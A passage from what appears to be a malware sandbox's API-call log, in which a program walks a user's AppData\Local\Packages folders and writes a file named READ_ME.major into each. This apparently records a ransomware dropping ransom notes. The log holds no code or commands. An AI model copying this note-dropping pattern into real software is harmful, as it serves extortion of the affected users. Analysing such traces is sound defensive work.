(lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BioEnrollment_cw5n1h2txyewy\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bioenrollment_cw5n1h2txyewy\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0165.366] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0165.367] CloseHandle (hObject=0x75c) returned 1 [0165.367] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3df817ee, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x131e209, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x131e209, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.CommsPhone_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.COM")) returned 1 [0165.367] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CommsPhone_8wekyb3d8bbwe\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.commsphone_8wekyb3d8bbwe\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0165.371] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0165.372] CloseHandle (hObject=0x75c) returned 1 [0165.372] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a9f4516, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xffc77b6a, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xffc77b6a, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.ConnectivityStore_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.CON")) returned 1 [0165.372] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ConnectivityStore_8wekyb3d8bbwe\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.connectivitystore_8wekyb3d8bbwe\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0165.374] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0165.375] CloseHandle (hObject=0x75c) returned 1 [0165.375] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x767aed3b, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x767fb19c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x767fb19c, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.CredDialogHost_cw5n1h2txyewy", cAlternateFileName="MICROS~1.CRE")) returned 1 [0165.376] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CredDialogHost_cw5n1h2txyewy\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.creddialoghost_cw5n1h2txyewy\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0165.418] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0165.419] CloseHandle (hObject=0x75c) returned 1 [0165.419] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe87ff8e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfe8f2692, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfe8f2692, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.DesktopAppInstaller_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.DES")) returned 1 [0165.419] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.desktopappinstaller_8wekyb3d8bbwe\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0165.421] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0165.422] CloseHandle (hObject=0x75c) returned 1 [0165.422] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x388df267, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xfd81bc01, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfd81bc01, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.Getstarted_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.GET")) returned 1 [0165.422] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Getstarted_8wekyb3d8bbwe\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.getstarted_8wekyb3d8bbwe\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0165.424] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0165.425] CloseHandle (hObject=0x75c) returned 1 [0165.425] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x695414de, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x7b2c8ffc, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7b44678d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.LockApp_cw5n1h2txyewy", cAlternateFileName="MICROS~1.LOC")) returned 1 [0165.425] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.LockApp_cw5n1h2txyewy\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.lockapp_cw5n1h2txyewy\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0165.427] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0165.427] CloseHandle (hObject=0x75c) returned 1 [0165.427] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3517066f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xfbf856cf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfbf856cf, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.Messaging_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.MES")) returned 1 [0165.427] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.messaging_8wekyb3d8bbwe\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0165.428] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0165.429] CloseHandle (hObject=0x75c) returned 1 [0165.429] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9ee3238, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xf9f55962, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xf9f55962, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.Microsoft3DViewer_8wekyb3d8bbwe", cAlternateFileName="MIC2FD~1.MIC")) returned 1 [0165.429] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Microsoft3DViewer_8wekyb3d8bbwe\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoft3dviewer_8wekyb3d8bbwe\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0165.431] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0165.432] CloseHandle (hObject=0x75c) returned 1 [0165.432] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a401dd0, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdc4fe9ef, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xdc92abfb, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.MicrosoftEdge_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.MIC")) returned 1 [0165.432] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0165.432] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0165.433] CloseHandle (hObject=0x75c) returned 1 [0165.433] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x317ff574, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xf9428887, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xf9428887, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe", cAlternateFileName="MICROS~2.MIC")) returned 1 [0165.433] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftofficehub_8wekyb3d8bbwe\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0165.572] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0165.572] CloseHandle (hObject=0x75c) returned 1 [0165.573] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d8aac99, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xdba259a9, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xdba259a9, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe", cAlternateFileName="MICROS~3.MIC")) returned 1 [0165.573] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftsolitairecollection_8wekyb3d8bbwe\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0165.582] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0165.583] CloseHandle (hObject=0x75c) returned 1 [0165.583] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8bcdb78, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd8c4028f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd8c4028f, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe", cAlternateFileName="MICROS~4.MIC")) returned 1 [0165.583] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftstickynotes_8wekyb3d8bbwe\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0165.587] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0165.588] CloseHandle (hObject=0x75c) returned 1 [0165.588] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd7d33450, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd7dcbdba, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd7dcbdba, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.MSPaint_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.MSP")) returned 1 [0165.588] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MSPaint_8wekyb3d8bbwe\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.mspaint_8wekyb3d8bbwe\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0165.590] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0165.590] CloseHandle (hObject=0x75c) returned 1 [0165.590] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf27b049c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x33b4c3b0, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x33b4c3b0, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.NET.Native.Framework.1.0_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.0_8")) returned 1 [0165.590] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.0_8wekyb3d8bbwe\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.framework.1.0_8wekyb3d8bbwe\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0165.643] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0165.644] CloseHandle (hObject=0x75c) returned 1 [0165.644] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104f57a, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x33dfacc4, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x33dfacc4, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.1_8")) returned 1 [0165.644] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.framework.1.1_8wekyb3d8bbwe\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0165.715] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0165.716] CloseHandle (hObject=0x75c) returned 1 [0165.716] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebee37c7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xebf2fc88, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xebf2fc88, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.NET.Native.Framework.1.3_8wekyb3d8bbwe", cAlternateFileName="MICROS~2.3_8")) returned 1 [0165.716] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.3_8wekyb3d8bbwe\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.framework.1.3_8wekyb3d8bbwe\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0165.718] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0165.718] CloseHandle (hObject=0x75c) returned 1 [0165.718] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x266a19e6, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0x34036ffb, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x34036ffb, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.NET.Native.Framework.1.6_8wekyb3d8bbwe", cAlternateFileName="MICROS~1.6_8")) returned 1 [0165.719] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.6_8wekyb3d8bbwe\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.framework.1.6_8wekyb3d8bbwe\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0165.726] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0165.726] CloseHandle (hObject=0x75c) returned 1 [0165.727] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2252fd4, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x34273354, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x34273354, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.NET.Native.Runtime.1.0_8wekyb3d8bbwe", cAlternateFileName="MICROS~2.0_8")) returned 1 [0165.727] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.0_8wekyb3d8bbwe\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.runtime.1.0_8wekyb3d8bbwe\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0165.760] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0165.761] CloseHandle (hObject=0x75c) returned 1 [0165.761] FindNextFileW (in: hFindFile=0x654420, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd08196, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x344af7fa, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x344af7fa, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft.NET.Native.Runtime.1.1_8wekyb3d8bbwe", cAlternateFileName="MICROS~2.1_8")) returned 1 [0165.761] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.1_8wekyb3d8bbwe\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.runtime.1.1_8wekyb3d8bbwe\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x75c [0165.763] WriteFile (in: hFile=0x75c, lpBuffer=0x58c768*, 